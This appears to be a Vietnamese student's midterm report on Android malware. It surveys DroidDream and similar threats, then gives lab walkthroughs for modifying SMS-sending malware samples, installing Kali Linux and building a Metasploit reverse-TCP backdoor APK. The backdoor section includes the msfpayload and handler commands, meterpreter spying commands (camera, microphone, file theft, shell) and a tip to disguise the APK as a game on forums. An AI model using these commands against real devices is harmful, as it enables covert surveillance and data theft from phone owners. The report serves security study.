Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.

Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình.

2.4.2. Mục đích của Malware DroidDream

DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy

Trang 23

Page 27: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.

2.5. Cơ chế bảo mật trong Android.2.5.1. Tính bảo mật trong Android

Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.

Các ứng dụng android được phân biệt bởi system ID. Các ứng dụng android phải được signing mới có thể cài đặt vào

hệ thồng. Bảo mật trong android được thể hiện qua cơ chế “Permission”

2.5.2. Cơ chế Permission:

Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng.

2.5.3. Google Play:

Kiểm soát các mã độc trên ứng dụng.

3. Cài đặt một số chương trình có mã độc trên Android.

3.1. iCalendar

iCalendar là 1 chương trình dạng lịch xuất xứ từ Trung Quốc có gắn kèm mã độc thực hiện gửi 1 tin nhắn đến 1 số điện thoại định trước mà không thông qua sự cho phép của người dùng.

3.1.1. Các công cụ cần thiết: Super Apk tool: https://code.google.com/p/super-apk-tool/

Trang 24

Page 28: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

File iCalendar.apk: http://securityxploded.com/demystifying-android-malware.php

Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).3.1.2. Các bước thực hiện:

Khởi động cả 2 máy ảo Android. Ở đây gồm 2 máy Android01 mã số 5554 dùng làm máy cài iCalendar và Android02 mã số 5556 dùng làm máy nhận tin nhắn trái phép từ máy Android01.

Dùng Winrar giải nén tập tin Super Apk tool vừa download về vào thư mục bất kỳ ta được như hình:

Hinh 16. Folder Super Apk Tool.

Chọn và khởi động phiên bản phù hợp với hệ điều hành.

Hinh 17. Super Apk Tool.

Trang 25

Page 29: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tại màn hình chính của Super Apk Tool chọn Project -> New Project (hoặc ấn Ctrl + N).

Hinh 18. Mở file iCalendar.apk

Tại cửa sổ hiện ra tìm đến thư mục lưu trữ file iCalendar.apk và mở ra. Đặt tên cho project tại mục Project Name (có thể để mặc định) -> chọn Ok để xác nhận. Đợi chương trình giải mà ngược xong ta được như hình. Vào View -> View Smali Code.

Trang 26

Page 30: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 19. View Smali Code.

Tại đây vào tiếp theo đường dẫn .\com\mj\iCalendar ta được

Hinh 20. Thư mục iCalendar.

Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad hoặc Notepad++ và thực hiện như hình bên dưới sau đó lưu lại.

Trang 27

Page 31: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 21. File iCalendar.smali.

Hinh 22. File SmsReceiver.smali.

Trở lại màn hình chính của Super Apk Tool

Trang 28

Page 32: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 23. Build Projects.

Chọn máy Android dùng để cài đặt (Android01 có mã 5554) sau đó vào Run -> Build (hoặc ấn F5). Chương trình sẽ tự động đóng gói project thành file apk, signing, cài đặt sau đó mở ứng dụng tại

Trang 29

Page 33: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Android01. Ta được kết quả.

Hinh 24. Cài đặt thành công iCalendar.

Tại đây ta ấn chọn 7 lần trong giao diện của iCalendar mã độc sẽ được kích hoạt và gửi tin nhắn đến máy Android02.

Hinh 25. Android02 nhận được tin nhắn từ iCalendar.

3.2. iMatch Trang 30

Page 34: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tương tự như iCalendar, iMatch cho phép gửi tinh nhắn trái phép khi mã độc bị kích hoạt. Điểm khác nhau ở đây là iMatch là một ứng dụng game và mã độc có thể gửi bốn tin nhắn cho 4 số điện thoại giống hoặc khác nhau.

3.2.1. Các công cụ cần thiết: Super Apk tool: https://code.google.com/p/super-apk-tool/ iMatch : http://contagiodump.blogspot.com/2011/03/take-

sample-leave-sample-mobile-malware.html Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).

3.2.2. Các bước thực hiện:

Thực hiện tương tự như với iCalendar.apk nhưng thay thế bằng file iMatch.apk. Tại bước View Smali Code ta vào tiếp theo đường dẫn .\com\mj\utils ta được

Hinh 26. Thư mục untils.

Mở file MJUtils.smali bằng Notepad hoặc Notepad++ và thực hiện đổi số điện thoại người nhận và nội dung tin nhắn tại bốn vị trí sau :

Hinh 27. Nội dung tin nhắn 1.

Hinh 28. Nội dung tin nhắn 2. Trang 31

Page 35: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 29. Nội dung tin nhắn 3.

Hinh 30. Nội dung tin nhắn 4.

Sau khi lưu lại ta buil và nhận được kết quả

Hinh 31. Kết quả chạy chương trinh iMatch.

Ta thấy khi ứng dụng iMatch tai máy Android01 được khởi động thì có bốn tin nhắn được gửi đến máy Android02 (vì ở đây thiết đặt bốn số điện thoại đến giống nhau là máy Android02).

4. Nghiên cứu Kali Linux, các cơ chế tạo mã độc trên Kali Linux để xâm nhập vào máy Android4.1. Tổng quan

Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux là BackTrack, xuất hiện

Trang 32

Page 36: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác nghiệp.

4.2. Cải tiến của Kali Linux so với Backtrack.

Kali phát triển trên nền tảng hệ điều hành Debian

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các công cụ.

Tính tương thích kiến trúc

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note.

Hỗ trợ mạng không dây tốt hơn

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây.

Khả năng tùy biến cao

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ đây người dùng đã có thể chọn

Trang 33

Page 37: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.

Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn toàn nữa

4.3. Cài đặt Kali Linux4.3.1. Chuẩn bị.

File iso Kali Linux: http://www.kali.org/downloads/ Máy có cài sẵn Vmware.

4.3.2. Cài đặt.

Đầu tiên ta cần download Kali Linux tại link sau http://www.kali.org/downloads/.

Chọn phiên bản phù hợp tiến hành download. Ở đây chọn phiên bản dành cho windowns 32 bit download bằng link trực tiếp. Sau khi có file iso ta tiến hành cài đặt Kali Linux trên máy ảo.

Khởi động VMwarre, ở góc phải trên màn hình chọn File -> New Virtual Machine....

Trang 34

Page 38: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 32. Chon phương thức cái đặt.

Chọn Typical, nhấn Next để tiếp tục.

Hinh 33. Tim đường dẫn đến file iso Kali Linux.

Chọn Installer disc image file, nhấn Browse… tìm đường dẫn đến file iso của Kali Linux sau đó nhấn Next để tiếp tục.

Trang 35

Page 39: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 34. Chọn dung lượng đĩa.

Thiết đặt dung lượng tối đa dùng để cài đặt Kali Linux sau đó chọn Next.

Hinh 35. Xác nhận cài Đặt.

Chọn Finish để xác nhận tiến hành cài đặt.

Trang 36

Page 40: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 36. Cài đặt Kali Linux.

Tại đây ta chọn Graphical install => Enter để tiến hành cài đặt trực quan bằng giao diện.

Hinh 37. Chọn Ngôn Ngữ.

Trang 37

Page 41: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tiến hành chọn lựa ngôn ngữ (ở đây chọn English), nhấn continue.

Hinh 38. Chọn khu vực.

Lựa chọn khu vực ta chọn other => Continue.

Hinh 39. Khu vực Asia.

Trang 38

Page 42: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tiếp tục chọn khu vực là Asia => Continue.

Hinh 40. Chọn quốc gia Viet Nam.

Chọn quốc gia là Viet Nam => Continue.

Hinh 41. Chọn bảng mã.

Trang 39

Page 43: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Chọn bảng mã là United States – en_US.UTF. Bảng mã này gồm đầy đủ các ký tự Latinh đồng thời hỗ trợ Tiếng Việt. Nhấn Continue để tiếp tục.

Hinh 42. Chọn kiểu bàn phím.

Chọn kiểu bàn phím Ameican English => Continue.

Trang 40

Page 44: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 43. Đặt Hostname.

Tiếp theo là thiết đặt mạng. Đặt tên Hostname là bắt buộc. Ta có thể đặt tên bất kỳ nhưng không thể có khoảng trắng. Nhấn Continue để tiếp tục.

Hinh 44. Đặt Domain name.

Trang 41

Page 45: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Có thể bỏ trống Domain name => Continue.

Hinh 45. Đặt root password.

Điền hai lần Root password giống nhau (nhớ password đã đặt để sau này đăng nhập) => Continue.

Hinh 46. Tùy chọn ổ đĩa.

Trang 42

Page 46: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tùy chọn ổ đĩa cài đặt. Ở đây ta chọn use entire disk -> continue.

Hinh 47. Chọn ổ đĩa cài đặt.

Tiếp tục nhấn Continue.

Hinh 48. Phương thức cài đặt ổ đĩa.

Trang 43

Page 47: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Chọn All file in one partion => Continue.

Hinh 49. Xác nhận thông số cài đặt.

Kiểm tra thiết đặt thông tin ổ đĩa. Nếu có sai sót chọn Go Back để sửa đổi. Chọn Continue tiếp tục.

Hinh 50. Xác nhận định dạng ổ đĩa.

Trang 44

Page 48: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Chọn Yes để xác nhận thay đổi ổ đĩa => Continue để tiến trình bắt đầu copy file và cài đặt Kali Linux.

Hinh 51. Cài đặt bắt đầu.

Hinh 52. Tim kiếm cập nhật qua internet.

Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua mạng. Ta chọn No để nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong).

Trang 45

Page 49: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Hinh 53. Xác nhận cài đặt GRUD.

Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không. Ta chọn Yes => Continue.

Hinh 54. Xác nhận cài đặt thành công.

Trang 46

Page 50: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình sẽ thực hiện xoa một số file dư thừa sau khi cài đặt rồi khởi động lại.

Hinh 55. Đăng nhập Kali Linux.

Sau khi khởi động xong ta nhập User là root va password được đặt ở trên để đăng nhập. Như vậy là ta đã hoàn thành cài đặt xong Kali Linux.

4.4. Tạo mã độc trên Kali Linux để xâm nhập Android.

Trước khi tiến hành ta nên thiết lập phần Network như sau:

Vào VM => Settings... ở thanh lựa chọn của Vmware

Trang 47

Page 51: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Vào Network Adapter và chọn Bridged: connection directly to the physical network

Vào Edit => Virtual Network Editor...

Trang 48

Page 52: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Trên phần Bridge (connect VMs directly to the external network) chọn adapter của máy thật

Trang 49

Page 53: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tiếp theo ta sẽ tiến hành xâm nhập và điều khiển Android bằng Kali Linux. Đầu tiên ta cần tạo 1 file apk có chứa backdoor bằng cách:

Đầu tiên mở terminal và gõ dòng lệnh ifconfig để biêt thông tin ip của máy.

Sử dụng lệnh msfpayload android/meterpreter/reverse_tcp lhost=192.168.240.132 lport=4444 R > /root/Desktop/App.apk để tạo backdoor. Với 192.168.240.132 là ip đã tìm được ở trên.

Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một Metasploit reverse tcp backdoor.

Trang 50

Page 54: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Tiếp theo, gõ lệnh msfconsole

Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau:

use exploit/multi/handler

set payload /meterpreter/reverse_tcp

set lhost 192.168.240.132 – nhập địa chỉ IP giống với khi tạo payload ở trên.

set port 4444 – nhập port giống với port khi tạo payload ở trên.

exploit

Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.

Trang 51

Page 55: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Đến đây, vấn đề của chúng ta là làm sao để phân tán file chứa backdoor App.apk đến các máy Android. Ta có thể ngụy trang file App.apk thành một ứng dụng, game va tiến hành chia sẻ trên forum. Ở đây thử với một máy Galaxy Nexus One giả lập, tải về App.apk, cài đặt:

Trang 52

Page 56: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Khởi động ứng dụng vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:

Để xem tất cả các lệnh hỗ trợ nhập help

Trang 53

Page 57: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Để xem thông tin về máy, nhập lệnh SysInfo

Xem thông tin card mạng nhập lệnh ipconfig:

Sử dụng camera:

Để xem danh sách camera, nhập webcam_listĐể chụp hình bằng camera, nhập webcam_snap x với x là id của

camera xem ở danh sách camera ở phần trước. Ví dụ như sau:

Trang 54

Page 58: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

File hình đã chụp từ camera của máy android là RbWBRryj.jpeg được lưu ở /root của máy

Ghi âm

Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy

Ta được file ghi âm

Lấy file từ sd cardĐể vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh

sách file, thư mục

Trang 55

Page 59: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Ví dụ ở đây, ta tải file App.apk trong thư mục sdcard.dùng lệnh download App.apk

Và file này sẽ được tải về thư mục root của máy Kali

Nhập lệnh shell để điều khiển máy trong chế độ shell. Tai đây ta nhập lệnh ls –l để xem các file và quyền hạn cần để sử dụng.

Trang 56

Page 60: Bao cao giua ky

CBHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN ĐỨC THÁI

Như các bạn cũng thấy thư muc data cần quyền hạn cao nhất để tiến hành sử dụng. Mà các dữ liệu quan trọng như Contacts, SMS, tài khoản đồng bộ Google… đều được lưu tại đây. Vi thế ta chỉ có thể lấy cắp các thông tin này nếu như máy Android bị xâm nhập đã được root (hack chiếm quyền điều khiển cao nhất).

Kết luận

Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ máy Android về máy.

Sau khi thử nghiệm cách tấn công này, ta rút ra không nên tải về và chạy file lạ trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, không tiến hành root may nếu không thực sự cần thiết vì chỉ cần máy bị nhiễm backdoor là ta đã có thể xem như có toàn quyền kiểm soát máy Android đó.

Trang 57